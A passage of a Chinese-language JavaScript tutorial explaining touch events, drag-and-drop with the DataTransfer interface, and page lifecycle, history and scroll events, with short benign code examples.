  • pageY:可选,类型为数值,表示触摸点相对于网页左上角的垂直位置(即包括页面的滚动距离),默认为0。
  • radiusX:可选,类型为数值,表示触摸点周围受到影响的椭圆范围的 X 轴半径,默认为0。
  • radiusY:可选:类型为数值,表示触摸点周围受到影响的椭圆范围的 Y 轴半径,默认为0。
  • rotationAngle:可选,类型为数值,表示触摸区域的椭圆的旋转角度,单位为度数,在0到90度之间,默认值为0。
  • force:可选,类型为数值,范围在01之间,表示触摸压力。0代表没有压力,1代表硬件所能识别的最大压力,默认为0

Touch 接口的实例属性

(1)Touch.identifier

Touch.identifier属性返回一个整数,表示触摸点的唯一 ID。这个值在整个触摸过程保持不变,直到触摸事件结束。

1
2
3
4
5
someElement.addEventListener('touchmove', function (e) {
for (var i = 0; i < e.changedTouches.length; i++) {
console.log(e.changedTouches[i].identifier);
}
}, false);

(2)Touch.screenX,Touch.screenY,Touch.clientX,Touch.clientY,pageX,pageY

Touch.screenX属性和Touch.screenY属性,分别表示触摸点相对于屏幕左上角的横坐标和纵坐标,与页面是否滚动无关。

Touch.clientX属性和Touch.clientY属性,分别表示触摸点相对于浏览器视口左上角的横坐标和纵坐标,与页面是否滚动无关。

Touch.pageX属性和Touch.pageY属性,分别表示触摸点相对于当前页面左上角的横坐标和纵坐标,包含了页面滚动带来的位移。

(3)Touch.radiusX,Touch.radiusY,Touch.rotationAngle

Touch.radiusX属性和Touch.radiusY属性,分别返回触摸点周围受到影响的椭圆范围的 X 轴半径和 Y 轴半径,单位为像素。乘以 2 就可以得到触摸范围的宽度和高度。

Touch.rotationAngle属性表示触摸区域的椭圆的旋转角度,单位为度数,在090度之间。

上面这三个属性共同定义了用户与屏幕接触的区域,对于描述手指这一类非精确的触摸,很有帮助。指尖接触屏幕,触摸范围会形成一个椭圆,这三个属性就用来描述这个椭圆区域。

下面是一个示例。

1
2
3
4
5
6
7
8
9
10
11
12
div.addEventListener('touchstart', rotate);
div.addEventListener('touchmove', rotate);
div.addEventListener('touchend', rotate);

function rotate(e) {
var touch = e.changedTouches.item(0);
e.preventDefault();

src.style.width = touch.radiusX * 2 + 'px';
src.style.height = touch.radiusY * 2 + 'px';
src.style.transform = 'rotate(' + touch.rotationAngle + 'deg)';
};

(4)Touch.force

Touch.force属性返回一个01之间的数值,表示触摸压力。0代表没有压力,1代表硬件所能识别的最大压力。

(5)Touch.target

Touch.target属性返回一个元素节点,代表触摸发生时所在的那个元素节点。即使触摸点已经离开了这个节点,该属性依然不变。

TouchList 接口

TouchList接口表示一组触摸点的集合。它的实例是一个类似数组的对象,成员是Touch的实例对象,表示所有触摸点。用户用三根手指触摸,产生的TouchList实例就会包含三个成员,每根手指的触摸点对应一个Touch实例对象。

它的实例主要通过触摸事件的TouchEvent.touchesTouchEvent.changedTouchesTouchEvent.targetTouches这几个属性获取。

它的实例属性和实例方法只有两个。

  • TouchList.length:数值,表示成员数量(即触摸点的数量)。
  • TouchList.item():返回指定位置的成员,它的参数是该成员的位置编号(从零开始)。

TouchEvent 接口

概述

TouchEvent 接口继承了 Event 接口,表示由触摸引发的事件实例,通常来自触摸屏或轨迹板。除了被继承的属性以外,它还有一些自己的属性。

浏览器原生提供TouchEvent()构造函数,用来生成触摸事件的实例。

1
new TouchEvent(type, options)

TouchEvent()构造函数可以接受两个参数,第一个参数是字符串,表示事件类型;第二个参数是事件的配置对象,该参数是可选的,对象的所有属性也是可选的。除了Event接口的配置属性,该接口还有一些自己的配置属性。

  • touchesTouchList实例,代表所有的当前处于活跃状态的触摸点,默认值是一个空数组[]
  • targetTouchesTouchList实例,代表所有处在触摸的目标元素节点内部、且仍然处于活动状态的触摸点,默认值是一个空数组[]
  • changedTouchesTouchList实例,代表本次触摸事件的相关触摸点,默认值是一个空数组[]
  • ctrlKey:布尔值,表示 Ctrl 键是否同时按下,默认值为false
  • shiftKey:布尔值,表示 Shift 键是否同时按下,默认值为false
  • altKey:布尔值,表示 Alt 键是否同时按下,默认值为false
  • metaKey:布尔值,表示 Meta 键(或 Windows 键)是否同时按下,默认值为false

实例属性

TouchEvent 接口的实例具有Event实例的所有属性和方法,此外还有一些它自己的实例属性,这些属性全部都是只读。

(1)TouchEvent.altKey,TouchEvent.ctrlKey,TouchEvent.shiftKey,TouchEvent.metaKey

  • TouchEvent.altKey:布尔值,表示触摸时是否按下了 Alt 键。
  • TouchEvent.ctrlKey:布尔值,表示触摸时是否按下了 Ctrl 键。
  • TouchEvent.shiftKey:布尔值:表示触摸时是否按下了 Shift 键。
  • TouchEvent.metaKey:布尔值,表示触摸时是否按下了 Meta 键(或 Windows 键)。

下面是一个示例。

1
2
3
4
5
6
someElement.addEventListener('touchstart', function (e) {
console.log('altKey = ' + e.altKey);
console.log('ctrlKey = ' + e.ctrlKey);
console.log('metaKey = ' + e.metaKey);
console.log('shiftKey = ' + e.shiftKey);
}, false);

(2)TouchEvent.changedTouches

TouchEvent.changedTouches属性返回一个TouchList实例,成员是一组Touch实例对象,表示本次触摸事件的相关触摸点。

对于不同的时间,该属性的含义有所不同。

  • touchstart事件:被激活的触摸点
  • touchmove事件:发生变化的触摸点
  • touchend事件:消失的触摸点(即不再被触碰的点)

下面是一个示例。

1
2
3
4
5
someElement.addEventListener('touchmove', function (e) {
for (var i = 0; i < e.changedTouches.length; i++) {
console.log(e.changedTouches[i].identifier);
}
}, false);

(3)TouchEvent.touches

TouchEvent.touches属性返回一个TouchList实例,成员是所有仍然处于活动状态(即触摸中)的触摸点。一般来说,一个手指就是一个触摸点。

下面是一个示例。

1
2
3
4
5
6
7
8
9
10
11
12
someElement.addEventListener('touchstart', function (e) {
switch (e.touches.length) {
// 一根手指触摸
case 1: handle_one_touch(e); break;
// 两根手指触摸
case 2: handle_two_touches(e); break;
// 三根手指触摸
case 3: handle_three_touches(e); break;
// 其他情况
default: console.log('Not supported'); break;
}
}, false);

(4)TouchEvent.targetTouches

TouchEvent.targetTouches属性返回一个TouchList实例,成员是触摸事件的目标元素节点内部、所有仍然处于活动状态(即触摸中)的触摸点。

1
2
3
function touches_in_target(ev) {
return (ev.touches.length === ev.targetTouches.length ? true : false);
}

上面代码用来判断,是否所有触摸点都在目标元素内。

触摸事件的种类

触摸引发的事件,有以下几种。可以通过TouchEvent.type属性,查看到底发生的是哪一种事件。

  • touchstart:用户开始触摸时触发,它的target属性返回发生触摸的元素节点。
  • touchend:用户不再接触触摸屏时(或者移出屏幕边缘时)触发,它的target属性与touchstart事件一致的,就是开始触摸时所在的元素节点。它的changedTouches属性返回一个TouchList实例,包含所有不再触摸的触摸点(即Touch实例对象)。
  • touchmove:用户移动触摸点时触发,它的target属性与touchstart事件一致。如果触摸的半径、角度、力度发生变化,也会触发该事件。
  • touchcancel:触摸点取消时触发,比如在触摸区域跳出一个模态窗口(modal window)、触摸点离开了文档区域(进入浏览器菜单栏)、用户的触摸点太多,超过了支持的上限(自动取消早先的触摸点)。

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var el = document.getElementsByTagName('canvas')[0];
el.addEventListener('touchstart', handleStart, false);
el.addEventListener('touchmove', handleMove, false);

function handleStart(evt) {
evt.preventDefault();
var touches = evt.changedTouches;
for (var i = 0; i < touches.length; i++) {
console.log(touches[i].pageX, touches[i].pageY);
}
}

function handleMove(evt) {
evt.preventDefault();
var touches = evt.changedTouches;
for (var i = 0; i < touches.length; i++) {
var touch = touches[i];
console.log(touch.pageX, touch.pageY);
}
}

拖拉事件

拖拉事件的种类

拖拉(drag)指的是,用户在某个对象上按下鼠标键不放,拖动它到另一个位置,然后释放鼠标键,将该对象放在那里。

拖拉的对象有好几种,包括元素节点、图片、链接、选中的文字等等。在网页中,除了元素节点默认不可以拖拉,其他(图片、链接、选中的文字)都是可以直接拖拉的。为了让元素节点可拖拉,可以将该节点的draggable属性设为true

1
2
3
<div draggable="true">
此区域可拖拉
</div>

draggable属性可用于任何元素节点,但是图片(<img>)和链接(<a>)不加这个属性,就可以拖拉。对于它们,用到这个属性的时候,往往是将其设为false,防止拖拉这两种元素。

注意,一旦某个元素节点的draggable属性设为true,就无法再用鼠标选中该节点内部的文字或子节点了。

当元素节点或选中的文本被拖拉时,就会持续触发拖拉事件,包括以下一些事件。

  • drag:拖拉过程中,在被拖拉的节点上持续触发(相隔几百毫秒)。
  • dragstart:用户开始拖拉时,在被拖拉的节点上触发,该事件的target属性是被拖拉的节点。通常应该在这个事件的监听函数中,指定拖拉的数据。
  • dragend:拖拉结束时(释放鼠标键或按下 ESC 键)在被拖拉的节点上触发,该事件的target属性是被拖拉的节点。它与dragstart事件,在同一个节点上触发。不管拖拉是否跨窗口,或者中途被取消,dragend事件总是会触发的。
  • dragenter:拖拉进入当前节点时,在当前节点上触发一次,该事件的target属性是当前节点。通常应该在这个事件的监听函数中,指定是否允许在当前节点放下(drop)拖拉的数据。如果当前节点没有该事件的监听函数,或者监听函数不执行任何操作,就意味着不允许在当前节点放下数据。在视觉上显示拖拉进入当前节点,也是在这个事件的监听函数中设置。
  • dragover:拖拉到当前节点上方时,在当前节点上持续触发(相隔几百毫秒),该事件的target属性是当前节点。该事件与dragenter事件的区别是,dragenter事件在进入该节点时触发,然后只要没有离开这个节点,dragover事件会持续触发。
  • dragleave:拖拉操作离开当前节点范围时,在当前节点上触发,该事件的target属性是当前节点。如果要在视觉上显示拖拉离开操作当前节点,就在这个事件的监听函数中设置。
  • drop:被拖拉的节点或选中的文本,释放到目标节点时,在目标节点上触发。注意,如果当前节点不允许drop,即使在该节点上方松开鼠标键,也不会触发该事件。如果用户按下 ESC 键,取消这个操作,也不会触发该事件。该事件的监听函数负责取出拖拉数据,并进行相关处理。

下面的例子展示,如何动态改变被拖动节点的背景色。

1
2
3
4
5
6
7
div.addEventListener('dragstart', function (e) {
this.style.backgroundColor = 'red';
}, false);

div.addEventListener('dragend', function (e) {
this.style.backgroundColor = 'green';
}, false);

上面代码中,div节点被拖动时,背景色会变为红色,拖动结束,又变回绿色。

下面是一个例子,展示如何实现将一个节点从当前父节点,拖拉到另一个父节点中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/* HTML 代码如下
<div class="dropzone">
<div id="draggable" draggable="true">
该节点可拖拉
</div>
</div>
<div class="dropzone"></div>
<div class="dropzone"></div>
<div class="dropzone"></div>
*/

// 被拖拉节点
var dragged;

document.addEventListener('dragstart', function (event) {
// 保存被拖拉节点
dragged = event.target;
// 被拖拉节点的背景色变透明
event.target.style.opacity = 0.5;
}, false);

document.addEventListener('dragend', function (event) {
// 被拖拉节点的背景色恢复正常
event.target.style.opacity = '';
}, false);

document.addEventListener('dragover', function (event) {
// 防止拖拉效果被重置,允许被拖拉的节点放入目标节点
event.preventDefault();
}, false);

document.addEventListener('dragenter', function (event) {
// 目标节点的背景色变紫色
// 由于该事件会冒泡,所以要过滤节点
if (event.target.className === 'dropzone') {
event.target.style.background = 'purple';
}
}, false);

document.addEventListener('dragleave', function( event ) {
// 目标节点的背景色恢复原样
if (event.target.className === 'dropzone') {
event.target.style.background = '';
}
}, false);

document.addEventListener('drop', function( event ) {
// 防止事件默认行为(比如某些元素节点上可以打开链接),
event.preventDefault();
if (event.target.className === 'dropzone') {
// 恢复目标节点背景色
event.target.style.background = '';
// 将被拖拉节点插入目标节点
dragged.parentNode.removeChild(dragged);
event.target.appendChild( dragged );
}
}, false);

关于拖拉事件,有以下几个注意点。

  • 拖拉过程只触发以上这些拖拉事件,尽管鼠标在移动,但是鼠标事件不会触发。
  • 将文件从操作系统拖拉进浏览器,不会触发dragstartdragend事件。
  • dragenterdragover事件的监听函数,用来取出拖拉的数据(即允许放下被拖拉的元素)。由于网页的大部分区域不适合作为放下拖拉元素的目标节点,所以这两个事件的默认设置为当前节点不允许接受被拖拉的元素。如果想要在目标节点上放下的数据,首先必须阻止这两个事件的默认行为。
1
2
<div ondragover="return false">
<div ondragover="event.preventDefault()">

上面代码中,如果不取消拖拉事件或者阻止默认行为,就不能在div节点上放下被拖拉的节点。

DragEvent 接口

拖拉事件都继承了DragEvent接口,这个接口又继承了MouseEvent接口和Event接口。

浏览器原生提供一个DragEvent()构造函数,用来生成拖拉事件的实例对象。

1
new DragEvent(type, options)

DragEvent()构造函数接受两个参数,第一个参数是字符串,表示事件的类型,该参数必须;第二个参数是事件的配置对象,用来设置事件的属性,该参数可选。配置对象除了接受MouseEvent接口和Event接口的配置属性,还可以设置dataTransfer属性要么是null,要么是一个DataTransfer接口的实例。

DataTransfer的实例对象用来读写拖拉事件中传输的数据,详见下文《DataTransfer 接口》的部分。

DataTransfer 接口概述

所有拖拉事件的实例都有一个DragEvent.dataTransfer属性,用来读写需要传递的数据。这个属性的值是一个DataTransfer接口的实例。

浏览器原生提供一个DataTransfer()构造函数,用来生成DataTransfer实例对象。

1
var dataTrans = new DataTransfer();

DataTransfer()构造函数不接受参数。

拖拉的数据分成两方面:数据的种类(又称格式)和数据的值。数据的种类是一个 MIME 字符串(比如text/plainimage/jpeg),数据的值是一个字符串。一般来说,如果拖拉一段文本,则数据默认就是那段文本;如果拖拉一个链接,则数据默认就是链接的 URL。

拖拉事件开始时,开发者可以提供数据类型和数据值。拖拉过程中,开发者通过dragenterdragover事件的监听函数,检查数据类型,以确定是否允许放下(drop)被拖拉的对象。比如,在只允许放下链接的区域,检查拖拉的数据类型是否为text/uri-list

发生drop事件时,监听函数取出拖拉的数据,对其进行处理。

DataTransfer 的实例属性

DataTransfer.dropEffect

DataTransfer.dropEffect属性用来设置放下(drop)被拖拉节点时的效果,会影响到拖拉经过相关区域时鼠标的形状。它可能取下面的值。

  • copy:复制被拖拉的节点
  • move:移动被拖拉的节点
  • link:创建指向被拖拉的节点的链接
  • none:无法放下被拖拉的节点

除了上面这些值,设置其他的值都是无效的。

1
2
3
4
5
target.addEventListener('dragover', function (e) {
e.preventDefault();
e.stopPropagation();
e.dataTransfer.dropEffect = 'copy';
});

上面代码中,被拖拉元素一旦drop,接受的区域会复制该节点。

dropEffect属性一般在dragenterdragover事件的监听函数中设置,对于dragstartdragdragleave这三个事件,该属性不起作用。因为该属性只对接受被拖拉的节点的区域有效,对被拖拉的节点本身是无效的。进入目标区域后,拖拉行为会初始化成设定的效果。

DataTransfer.effectAllowed

DataTransfer.effectAllowed属性设置本次拖拉中允许的效果。它可能取下面的值。

  • copy:复制被拖拉的节点
  • move:移动被拖拉的节点
  • link:创建指向被拖拉节点的链接
  • copyLink:允许copylink
  • copyMove:允许copymove
  • linkMove:允许linkmove
  • all:允许所有效果
  • none:无法放下被拖拉的节点
  • uninitialized:默认值,等同于all

如果某种效果是不允许的,用户就无法在目标节点中达成这种效果。

这个属性与dropEffect属性是同一件事的两个方面。前者设置被拖拉的节点允许的效果,后者设置接受拖拉的区域的效果,它们往往配合使用。

dragstart事件的监听函数,可以用来设置这个属性。其他事件的监听函数里面设置这个属性是无效的。

1
2
3
4
5
6
7
source.addEventListener('dragstart', function (e) {
e.dataTransfer.effectAllowed = 'move';
});

target.addEventListener('dragover', function (e) {
ev.dataTransfer.dropEffect = 'move';
});

只要dropEffect属性和effectAllowed属性之中,有一个为none,就无法在目标节点上完成drop操作。

DataTransfer.files

DataTransfer.files属性是一个 FileList 对象,包含一组本地文件,可以用来在拖拉操作中传送。如果本次拖拉不涉及文件,则该属性为空的 FileList 对象。

下面就是一个接收拖拉文件的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// HTML 代码如下
// <div id="output" style="min-height: 200px;border: 1px solid black;">
// 文件拖拉到这里
// </div>

var div = document.getElementById('output');

div.addEventListener("dragenter", function( event ) {
div.textContent = '';
event.stopPropagation();
event.preventDefault();
}, false);

div.addEventListener("dragover", function( event ) {
event.stopPropagation();
event.preventDefault();
}, false);

div.addEventListener("drop", function( event ) {
event.stopPropagation();
event.preventDefault();
var files = event.dataTransfer.files;
for (var i = 0; i < files.length; i++) {
div.textContent += files[i].name + ' ' + files[i].size + '字节\n';
}
}, false);

上面代码中,通过dataTransfer.files属性读取被拖拉的文件的信息。如果想要读取文件内容,就要使用FileReader对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
div.addEventListener('drop', function(e) {
e.preventDefault();
e.stopPropagation();

var fileList = e.dataTransfer.files;
if (fileList.length > 0) {
var file = fileList[0];
var reader = new FileReader();
reader.onloadend = function(e) {
if (e.target.readyState === FileReader.DONE) {
var content = reader.result;
div.innerHTML = 'File: ' + file.name + '\n\n' + content;
}
}
reader.readAsBinaryString(file);
}
});

DataTransfer.types

DataTransfer.types属性是一个只读的数组,每个成员是一个字符串,里面是拖拉的数据格式(通常是 MIME 值)。比如,如果拖拉的是文字,对应的成员就是text/plain

下面是一个例子,通过检查dataTransfer属性的类型,决定是否允许在当前节点执行drop操作。

1
2
3
4
5
6
7
8
9
10
11
function contains(list, value){
for (var i = 0; i < list.length; ++i) {
if(list[i] === value) return true;
}
return false;
}

function doDragOver(event) {
var isLink = contains(event.dataTransfer.types, 'text/uri-list');
if (isLink) event.preventDefault();
}

上面代码中,只有当被拖拉的节点是一个链接时,才允许在当前节点放下。

DataTransfer.items

DataTransfer.items属性返回一个类似数组的只读对象(DataTransferItemList 实例),每个成员就是本次拖拉的一个对象(DataTransferItem 实例)。如果本次拖拉不包含对象,则返回一个空对象。

DataTransferItemList 实例具有以下的属性和方法。

  • length:返回成员的数量
  • add(data, type):增加一个指定内容和类型(比如text/htmltext/plain)的字符串作为成员
  • add(file)add方法的另一种用法,增加一个文件作为成员
  • remove(index):移除指定位置的成员
  • clear():移除所有的成员

DataTransferItem 实例具有以下的属性和方法。

  • kind:返回成员的种类(string还是file)。
  • type:返回成员的类型(通常是 MIME 值)。
  • getAsFile():如果被拖拉是文件,返回该文件,否则返回null
  • getAsString(callback):如果被拖拉的是字符串,将该字符传入指定的回调函数处理。该方法是异步的,所以需要传入回调函数。

下面是一个例子。

1
2
3
4
5
6
7
8
div.addEventListener('drop', function (e) {
e.preventDefault();
if (e.dataTransfer.items != null) {
for (var i = 0; i < e.dataTransfer.items.length; i++) {
console.log(e.dataTransfer.items[i].kind + ': ' + e.dataTransfer.items[i].type);
}
}
});

DataTransfer 的实例方法

DataTransfer.setData()

DataTransfer.setData()方法用来设置拖拉事件所带有的数据。该方法没有返回值。

1
event.dataTransfer.setData('text/plain', 'Text to drag');

上面代码为当前的拖拉事件加入纯文本数据。

该方法接受两个参数,都是字符串。第一个参数表示数据类型(比如text/plain),第二个参数是具体数据。如果指定类型的数据在dataTransfer属性不存在,那么这些数据将被加入,否则原有的数据将被新数据替换。

如果是拖拉文本框或者拖拉选中的文本,会默认将对应的文本数据,添加到dataTransfer属性,不用手动指定。

1
2
3
<div draggable="true">
aaa
</div>

上面代码中,拖拉这个<div>元素会自动带上文本数据aaa

使用setData方法,可以替换到原有数据。

1
2
3
4
5
6
<div
draggable="true"
ondragstart="event.dataTransfer.setData('text/plain', 'bbb')"
>
aaa
</div>

上面代码中,拖拉数据实际上是bbb,而不是aaa

下面是添加其他类型的数据。由于text/plain是最普遍支持的格式,为了保证兼容性,建议最后总是保存一份纯文本格式的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
var dt = event.dataTransfer;

// 添加链接
dt.setData('text/uri-list', 'http://www.example.com');
dt.setData('text/plain', 'http://www.example.com');

// 添加 HTML 代码
dt.setData('text/html', 'Hello there, <strong>stranger</strong>');
dt.setData('text/plain', 'Hello there, <strong>stranger</strong>');

// 添加图像的 URL
dt.setData('text/uri-list', imageurl);
dt.setData('text/plain', imageurl);

可以一次提供多种格式的数据。

1
2
3
4
var dt = event.dataTransfer;
dt.setData('application/x-bookmark', bookmarkString);
dt.setData('text/uri-list', 'http://www.example.com');
dt.setData('text/plain', 'http://www.example.com');

上面代码中,通过在同一个事件上面,存放三种类型的数据,使得拖拉事件可以在不同的对象上面,drop不同的值。注意,第一种格式是一个自定义格式,浏览器默认无法读取,这意味着,只有某个部署了特定代码的节点,才可能drop(读取到)这个数据。

DataTransfer.getData()

DataTransfer.getData()方法接受一个字符串(表示数据类型)作为参数,返回事件所带的指定类型的数据(通常是用setData方法添加的数据)。如果指定类型的数据不存在,则返回空字符串。通常只有drop事件触发后,才能取出数据。

下面是一个drop事件的监听函数,用来取出指定类型的数据。

1
2
3
4
5
function onDrop(event) {
var data = event.dataTransfer.getData('text/plain');
event.target.textContent = data;
event.preventDefault();
}

上面代码取出拖拉事件的文本数据,将其替换成当前节点的文本内容。注意,这时还必须取消浏览器的默认行为,因为假如用户拖拉的是一个链接,浏览器默认会在当前窗口打开这个链接。

getData方法返回的是一个字符串,如果其中包含多项数据,就必须手动解析。

1
2
3
4
5
6
7
8
9
10
function doDrop(event) {
var lines = event.dataTransfer.getData('text/uri-list').split('\n');
for (let line of lines) {
let link = document.createElement('a');
link.href = line;
link.textContent = line;
event.target.appendChild(link);
}
event.preventDefault();
}

上面代码中,getData方法返回的是一组链接,就必须自行解析。

类型值指定为URL,可以取出第一个有效链接。

1
var link = event.dataTransfer.getData('URL');

下面的例子是从多种类型的数据里面取出数据。

1
2
3
4
5
6
7
8
9
function doDrop(event) {
var types = event.dataTransfer.types;
var supportedTypes = ['text/uri-list', 'text/plain'];
types = supportedTypes.filter(function (value) { types.includes(value) });
if (types.length) {
var data = event.dataTransfer.getData(types[0]);
}
event.preventDefault();
}

DataTransfer.clearData()

DataTransfer.clearData()方法接受一个字符串(表示数据类型)作为参数,删除事件所带的指定类型的数据。如果没有指定类型,则删除所有数据。如果指定类型不存在,则调用该方法不会产生任何效果。

1
event.dataTransfer.clearData('text/uri-list');

上面代码清除事件所带的text/uri-list类型的数据。

该方法不会移除拖拉的文件,因此调用该方法后,DataTransfer.types属性可能依然会返回Files类型(前提是存在文件拖拉)。

注意,该方法只能在dragstart事件的监听函数之中使用,因为这是拖拉操作的数据唯一可写的时机。

DataTransfer.setDragImage()

拖动过程中(dragstart事件触发后),浏览器会显示一张图片跟随鼠标一起移动,表示被拖动的节点。这张图片是自动创造的,通常显示为被拖动节点的外观,不需要自己动手设置。

DataTransfer.setDragImage()方法可以自定义这张图片。它接受三个参数。第一个是<img>节点或者<canvas>节点,如果省略或为null,则使用被拖动的节点的外观;第二个和第三个参数为鼠标相对于该图片左上角的横坐标和右坐标。

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
/* HTML 代码如下
<div id="drag-with-image" class="dragdemo" draggable="true">
drag me
</div>
*/

var div = document.getElementById('drag-with-image');
div.addEventListener('dragstart', function (e) {
var img = document.createElement('img');
img.src = 'http://path/to/img';
e.dataTransfer.setDragImage(img, 0, 0);
}, false);

其他常见事件

资源事件

beforeunload 事件

beforeunload事件在窗口、文档、各种资源将要卸载前触发。它可以用来防止用户不小心卸载资源。

如果该事件对象的returnValue属性是一个非空字符串,那么浏览器就会弹出一个对话框,询问用户是否要卸载该资源。但是,用户指定的字符串可能无法显示,浏览器会展示预定义的字符串。如果用户点击“取消”按钮,资源就不会卸载。

1
2
3
window.addEventListener('beforeunload', function (event) {
event.returnValue = '你确定离开吗?';
});

上面代码中,用户如果关闭窗口,浏览器会弹出一个窗口,要求用户确认。

浏览器对这个事件的行为很不一致,有的浏览器调用event.preventDefault(),也会弹出对话框。IE 浏览器需要显式返回一个非空的字符串,才会弹出对话框。而且,大多数浏览器在对话框中不显示指定文本,只显示默认文本。因此,可以采用下面的写法,取得最大的兼容性。

1
2
3
4
5
6
window.addEventListener('beforeunload', function (e) {
var confirmationMessage = '确认关闭窗口?';

e.returnValue = confirmationMessage;
return confirmationMessage;
});

注意,许多手机浏览器默认忽略这个事件,桌面浏览器也有办法忽略这个事件。所以,它可能根本不会生效,不能依赖它来阻止用户关闭窗口。另外,一旦使用了beforeunload事件,浏览器就不会缓存当前网页,使用“回退”按钮将重新向服务器请求网页。这是因为监听这个事件的目的,一般是修改初始状态,这时缓存初始页面就没意义了。

基本上,只有一种场合可以监听unload事件,其他情况都不应该监听:用户修改了表单,还没有保存就要离开。

unload 事件

unload事件在窗口关闭或者document对象将要卸载时触发。它的触发顺序排在beforeunloadpagehide事件后面。

unload事件发生时,文档处于一个特殊状态。所有资源依然存在,但是对用户来说都不可见,UI 互动全部无效。这个事件是无法取消的,即使在监听函数里面抛出错误,也不能停止文档的卸载。

1
2
3
window.addEventListener('unload', function(event) {
console.log('文档将要卸载');
});

手机上,浏览器或系统可能会直接丢弃网页,这时该事件根本不会发生。而且跟beforeunload事件一样,一旦使用了unload事件,浏览器就不会缓存当前网页,理由同上。因此,任何情况下都不应该依赖这个事件,指定网页卸载时要执行的代码,可以考虑完全不使用这个事件。

load 事件,error 事件

load事件在页面或某个资源加载成功时触发。注意,页面或资源从浏览器缓存加载,并不会触发load事件。

1
2
3
window.addEventListener('load', function(event) {
console.log('所有资源都加载完成');
});

error事件是在页面或资源加载失败时触发。abort事件在用户取消加载时触发。

这三个事件实际上属于进度事件,不仅发生在document对象,还发生在各种外部资源上面。浏览网页就是一个加载各种资源的过程,图像(image)、样式表(style sheet)、脚本(script)、视频(video)、音频(audio)、Ajax请求(XMLHttpRequest)等等。这些资源和document对象、window对象、XMLHttpRequestUpload 对象,都会触发load事件和error事件。

session 历史事件

pageshow 事件,pagehide 事件

默认情况下,浏览器会在当前会话(session)缓存页面,当用户点击“前进/后退”按钮时,浏览器就会从缓存中加载页面。

pageshow 事件在页面加载时触发,包括第一次加载和从缓存加载两种情况。如果要指定页面每次加载(不管是不是从浏览器缓存)时都运行的代码,可以放在这个事件的监听函数。

第一次加载时,它的触发顺序排在load事件后面。从缓存加载时,load事件不会触发,因为网页在缓存中的样子通常是load事件的监听函数运行后的样子,所以不必重复执行。同理,如果是从缓存中加载页面,网页内初始化的 JavaScript 脚本(比如 DOMContentLoaded 事件的监听函数)也不会执行。

1
2
3
window.addEventListener('pageshow', function(event) {
console.log('pageshow: ', event);
});

pageshow 事件有一个persisted属性,返回一个布尔值。页面第一次加载时,这个属性是false;当页面从缓存加载时,这个属性是true

1
2
3
4
5
window.addEventListener('pageshow', function(event){
if (event.persisted) {
// ...
}
});

pagehide事件与pageshow事件类似,当用户通过“前进/后退”按钮,离开当前页面时触发。它与 unload 事件的区别在于,如果在 window 对象上定义unload事件的监听函数之后,页面不会保存在缓存中,而使用pagehide事件,页面会保存在缓存中。

pagehide事件实例也有一个persisted属性,将这个属性设为true,就表示页面要保存在缓存中;设为false,表示网页不保存在缓存中,这时如果设置了unload 事件的监听函数,该函数将在 pagehide 事件后立即运行。

如果页面包含<frame><iframe>元素,则<frame>页面的pageshow事件和pagehide事件,都会在主页面之前触发。

注意,这两个事件只在浏览器的history对象发生变化时触发,跟网页是否可见没有关系。

popstate 事件

popstate事件在浏览器的history对象的当前记录发生显式切换时触发。注意,调用history.pushState()history.replaceState(),并不会触发popstate事件。该事件只在用户在history记录之间显式切换时触发,比如鼠标点击“后退/前进”按钮,或者在脚本中调用history.back()history.forward()history.go()时触发。

该事件对象有一个state属性,保存history.pushState方法和history.replaceState方法为当前记录添加的state对象。

1
2
3
4
5
6
7
8
9
window.onpopstate = function (event) {
console.log('state: ' + event.state);
};
history.pushState({page: 1}, 'title 1', '?page=1');
history.pushState({page: 2}, 'title 2', '?page=2');
history.replaceState({page: 3}, 'title 3', '?page=3');
history.back(); // state: {"page":1}
history.back(); // state: null
history.go(2); // state: {"page":3}

上面代码中,pushState方法向history添加了两条记录,然后replaceState方法替换掉当前记录。因此,连续两次back方法,会让当前条目退回到原始网址,它没有附带state对象,所以事件的state属性为null,然后前进两条记录,又回到replaceState方法添加的记录。

浏览器对于页面首次加载,是否触发popstate事件,处理不一样,Firefox 不触发该事件。

hashchange 事件

hashchange事件在 URL 的 hash 部分(即#号后面的部分,包括#号)发生变化时触发。该事件一般在window对象上监听。

hashchange的事件实例具有两个特有属性:oldURL属性和newURL属性,分别表示变化前后的完整 URL。

1
2
3
4
5
6
7
8
9
10
11
// URL 是 http://www.example.com/
window.addEventListener('hashchange', myFunction);

function myFunction(e) {
console.log(e.oldURL);
console.log(e.newURL);
}

location.hash = 'part2';
// http://www.example.com/
// http://www.example.com/#part2

网页状态事件

DOMContentLoaded 事件

网页下载并解析完成以后,浏览器就会在document对象上触发 DOMContentLoaded 事件。这时,仅仅完成了网页的解析(整张页面的 DOM 生成了),所有外部资源(样式表、脚本、iframe 等等)可能还没有下载结束。也就是说,这个事件比load事件,发生时间早得多。

1
2
3
document.addEventListener('DOMContentLoaded', function (event) {
console.log('DOM生成');
});

注意,网页的 JavaScript 脚本是同步执行的,脚本一旦发生堵塞,将推迟触发DOMContentLoaded事件。

1
2
3
4
5
6
7
8
document.addEventListener('DOMContentLoaded', function (event) {
console.log('DOM 生成');
});

// 这段代码会推迟触发 DOMContentLoaded 事件
for(var i = 0; i < 1000000000; i++) {
// ...
}

readystatechange 事件

readystatechange事件当 Document 对象和 XMLHttpRequest 对象的readyState属性发生变化时触发。document.readyState有三个可能的值:loading(网页正在加载)、interactive(网页已经解析完成,但是外部资源仍然处在加载状态)和complete(网页和所有外部资源已经结束加载,load事件即将触发)。

1
2
3
4
5
document.onreadystatechange = function () {
if (document.readyState === 'interactive') {
// ...
}
}

这个事件可以看作DOMContentLoaded事件的另一种实现方法。

窗口事件

scroll 事件

scroll事件在文档或文档元素滚动时触发,主要出现在用户拖动滚动条。

1
window.addEventListener('scroll', callback);

该事件会连续地大量触发,所以它的监听函数之中不应该有非常耗费计算的操作。推荐的做法是使用requestAnimationFramesetTimeout控制该事件的触发频率,然后可以结合customEvent抛出一个新事件。

1
2
3
4
5
6
7
8
9
10
